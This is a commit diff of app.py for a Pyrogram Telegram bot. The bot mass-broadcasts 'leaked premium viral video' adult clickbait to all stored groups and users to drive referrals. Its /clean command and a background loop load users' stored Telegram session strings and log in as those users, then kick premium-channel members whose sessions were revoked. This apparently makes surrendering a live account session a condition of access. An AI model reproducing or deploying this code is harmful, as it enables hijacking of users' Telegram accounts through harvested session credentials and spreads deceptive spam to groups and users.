pmrony commited on
Commit
e4b8747
·
verified ·
1 Parent(s): 4def0ed

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +242 -1
app.py CHANGED
@@ -414,4 +414,245 @@ async def handle_media_upload(client, message):
414
  await status_msg.edit_text("⏳ Uploading video to byse.sx server...")
415
  api_endpoint = "https://api.byse.sx/upload/server"
416
  loop = asyncio.get_event_loop()
417
- response = await loop.run_in_executor(None, lambda: request
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
414
  await status_msg.edit_text("⏳ Uploading video to byse.sx server...")
415
  api_endpoint = "https://api.byse.sx/upload/server"
416
  loop = asyncio.get_event_loop()
417
+ response = await loop.run_in_executor(None, lambda: requests.get(api_endpoint, params={'key': BYSE_API_KEY}, timeout=30))
418
+ result = response.json()
419
+
420
+ if result.get('status') == 200:
421
+ upload_res = await loop.run_in_executor(None, upload_file_sync, result.get('result'), final_file, BYSE_API_KEY)
422
+ if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
423
+ file_status = upload_res['files'][0].get('status', '')
424
+ if "not allowed" in str(file_status).lower():
425
+ await status_msg.edit_text(f"❌ byse.sx rejected the file: <code>{file_status}</code>", parse_mode=enums.ParseMode.HTML)
426
+ return
427
+ file_code = upload_res['files'][0].get('filecode')
428
+ if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
429
+
430
+ if not embed_link:
431
+ await status_msg.edit_text("❌ Uploaded to byse.sx but Embed Link not found.")
432
+ return
433
+
434
+ if is_large_video:
435
+ admin_cap = f"✅ <b>Success! (Large Video)</b>\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\n📌 <i>Broadcast skipped due to large file size.</i>"
436
+ await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
437
+ await status_msg.delete()
438
+ return
439
+
440
+ await status_msg.edit_text("⏳ Preparing to broadcast to groups...")
441
+ if media_type == "video":
442
+ caption_text = f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{embed_link if is_blur else bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>"
443
+ else:
444
+ caption_text = f"{clean_caption}\n\n👇 <i>Click the button below to open Bot!</i>" if clean_caption else f"🔥 <b>New Premium Viral Content!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>"
445
+
446
+ group_markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]])
447
+ admin_cap = f"✅ <b>Success!</b> Media is broadcasting...\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>"
448
+
449
+ thumb_path = None
450
+ if media_type == "video":
451
+ thumb_path = f"{original_file}_thumb.jpg"
452
+ proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", final_file, "-vframes", "1", thumb_path, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
453
+ await proc.communicate()
454
+ if not os.path.exists(thumb_path): thumb_path = None
455
+
456
+ if media_type == "photo":
457
+ sent_to_admin = await client.send_photo(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
458
+ tg_file_id = sent_to_admin.photo.file_id
459
+ elif media_type == "animation":
460
+ sent_to_admin = await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
461
+ tg_file_id = sent_to_admin.animation.file_id
462
+ else:
463
+ # Pyrogram V2 thumbnail ফিক্স
464
+ sent_to_admin = await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=message.video.duration, width=message.video.width, height=message.video.height, thumbnail=thumb_path)
465
+ tg_file_id = sent_to_admin.video.file_id
466
+
467
+ await status_msg.delete()
468
+ groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
469
+ group_ids = [g['group_id'] for g in groups_res.data]
470
+ success_count, fail_count = 0, 0
471
+
472
+ for gid in set(group_ids):
473
+ try:
474
+ if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
475
+ elif media_type == "animation": await client.send_animation(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
476
+ else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
477
+ success_count += 1
478
+ await asyncio.sleep(1.5)
479
+ except Exception: fail_count += 1
480
+
481
+ await message.reply(f"📢 <b>Broadcast Complete!</b>\n\n✅ Success: {success_count} groups\n❌ Failed: {fail_count} groups", parse_mode=enums.ParseMode.HTML)
482
+
483
+ except Exception as e: await message.reply(f"⚠️ Error occurred: {str(e)}")
484
+ finally:
485
+ for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None]:
486
+ if f and os.path.exists(f):
487
+ try: os.remove(f)
488
+ except: pass
489
+
490
+ @bot.on_message(filters.command(["stats", "users"]) & filters.private & filters.user(ADMIN_IDS))
491
+ async def bot_stats(client, message):
492
+ try:
493
+ users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
494
+ videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
495
+ groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
496
+ await message.reply(f"📊 <b>Bot Stats:</b>\n👥 Users: <code>{users.count or 0}</code>\n🎬 Videos: <code>{videos.count or 0}</code>\n📢 Groups: <code>{groups.count or 0}</code>", parse_mode=enums.ParseMode.HTML)
497
+ except Exception as e: print(e)
498
+
499
+ @bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
500
+ async def broadcast_command(client, message):
501
+ admin_states[message.chat.id] = {"step": "broadcast"}
502
+ await message.reply("📢 Send the message you want to broadcast. (Send /cancel to abort)")
503
+
504
+ async def process_broadcast(client, message):
505
+ text = message.text or message.caption
506
+ if text == '/cancel':
507
+ admin_states.pop(message.chat.id, None)
508
+ await message.reply("❌ Cancelled.")
509
+ return
510
+
511
+ await message.reply("⏳ Broadcast started...")
512
+ admin_states.pop(message.chat.id, None)
513
+
514
+ try:
515
+ all_users, start, step = [], 0, 1000
516
+ while True:
517
+ res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute())
518
+ if not res.data: break
519
+ all_users.extend(res.data)
520
+ start += step
521
+
522
+ success, failed = 0, 0
523
+ for u in all_users:
524
+ try:
525
+ await message.copy(chat_id=u['user_id'])
526
+ success += 1
527
+ await asyncio.sleep(0.15)
528
+ except Exception: failed += 1
529
+
530
+ await message.reply(f"✅ Broadcast Complete!\nSuccess: {success}\nFailed: {failed}")
531
+ except Exception as e: print(e)
532
+
533
+ @bot.on_message(filters.command(["png", "addvideo"]) & filters.private & filters.user(ADMIN_IDS))
534
+ async def add_png(client, message):
535
+ try:
536
+ parts = message.command
537
+ needed_ref, duration = 3, "random"
538
+ if len(parts) == 4 and parts[1].isdigit(): needed_ref, duration, thumbnail_url = int(parts[1]), parts[2], parts[3]
539
+ elif len(parts) == 3 and parts[1].isdigit(): needed_ref, thumbnail_url = int(parts[1]), parts[2]
540
+ elif len(parts) == 2: thumbnail_url = parts[1]
541
+ else: return await message.reply("❌ Invalid format.")
542
+
543
+ admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref}
544
+ await message.reply("✅ Now send the Video/Embed Link.")
545
+ except Exception as e: print(e)
546
+
547
+ # সেশন টার্মিনেশন চেক এবং কিক আউট করার এডমিন কমান্ড
548
+ @bot.on_message(filters.command("clean") & filters.private & filters.user(ADMIN_IDS))
549
+ async def manual_clean_channel(client, message):
550
+ await message.reply("⏳ <b>Starting channel cleanup...</b>\nChecking all members in the premium channel to verify active sessions. This might take a while.")
551
+ try:
552
+ kicked, checked = 0, 0
553
+ async for member in client.get_chat_members(PREMIUM_CHANNEL_ID):
554
+ if member.user.is_bot or member.status in [enums.ChatMemberStatus.ADMINISTRATOR, enums.ChatMemberStatus.OWNER]:
555
+ continue
556
+
557
+ checked += 1
558
+ user_id = member.user.id
559
+ res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
560
+
561
+ is_valid = False
562
+ if res.data:
563
+ session_string = res.data[0]['session_string']
564
+ temp_client = Client(f"manual_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
565
+ try:
566
+ await temp_client.connect()
567
+ await temp_client.get_me()
568
+ await temp_client.disconnect()
569
+ is_valid = True
570
+ except Exception:
571
+ try: await temp_client.disconnect()
572
+ except: pass
573
+ await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
574
+
575
+ if not is_valid:
576
+ try:
577
+ await client.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
578
+ await client.unban_chat_member(PREMIUM_CHANNEL_ID, user_id) # Kick only (allows re-join later)
579
+ kicked += 1
580
+ except Exception as e: pass
581
+
582
+ await asyncio.sleep(1.5)
583
+
584
+ await message.reply(f"✅ <b>Cleanup Complete!</b>\n\n👥 Members checked: {checked}\n👢 Users Kicked (Terminated Session): {kicked}")
585
+ except Exception as e:
586
+ await message.reply(f"❌ Error: {e}")
587
+
588
+ # সেশন টার্মিনেশনের অটো ব্যাকগ্রাউন্ড চেকার লুপ
589
+ async def auto_clean_channel_loop():
590
+ await asyncio.sleep(60) # startup delay
591
+ while True:
592
+ try:
593
+ async for member in bot.get_chat_members(PREMIUM_CHANNEL_ID):
594
+ if member.user.is_bot or member.status in [enums.ChatMemberStatus.ADMINISTRATOR, enums.ChatMemberStatus.OWNER]:
595
+ continue
596
+
597
+ user_id = member.user.id
598
+ res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
599
+
600
+ is_valid = False
601
+ if res.data:
602
+ session_string = res.data[0]['session_string']
603
+ temp_client = Client(f"bg_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
604
+ try:
605
+ await temp_client.connect()
606
+ await temp_client.get_me()
607
+ await temp_client.disconnect()
608
+ is_valid = True
609
+ except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
610
+ try: await temp_client.disconnect()
611
+ except: pass
612
+ await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
613
+ except Exception:
614
+ try: await temp_client.disconnect()
615
+ except: pass
616
+ is_valid = True # নেটওয়ার্ক এরর হলে যেন ইউজার কিক না খায়!
617
+
618
+ if not is_valid:
619
+ try:
620
+ await bot.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
621
+ await bot.unban_chat_member(PREMIUM_CHANNEL_ID, user_id)
622
+ except Exception: pass
623
+
624
+ await asyncio.sleep(2)
625
+ except Exception as e:
626
+ print(f"Auto clean error: {e}")
627
+
628
+ await asyncio.sleep(4 * 3600) # Run every 4 hours
629
+
630
+ @bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur", "clean"]))
631
+ async def catch_admin_steps(client, message):
632
+ state = admin_states.get(message.chat.id, {})
633
+ if state.get("step") == 1:
634
+ if not message.text: return
635
+ video_url = message.text.strip()
636
+ if video_url == "/cancel":
637
+ admin_states.pop(message.chat.id, None)
638
+ return await message.reply("❌ Cancelled.")
639
+
640
+ try:
641
+ await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
642
+ await message.reply("🎉 Video added successfully!")
643
+ except Exception as e: print(e)
644
+ finally: admin_states.pop(message.chat.id, None)
645
+ elif state.get("step") == "broadcast":
646
+ await process_broadcast(client, message)
647
+
648
+ def run_flask(): app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)))
649
+ async def main():
650
+ await bot.start()
651
+ print("🤖 Pyrogram Bot & Real Session API is running!")
652
+ asyncio.create_task(auto_clean_channel_loop())
653
+ await idle()
654
+ await bot.stop()
655
+
656
+ if __name__ == "__main__":
657
+ threading.Thread(target=run_flask, daemon=True).start()
658
+ main_loop.run_until_complete(main())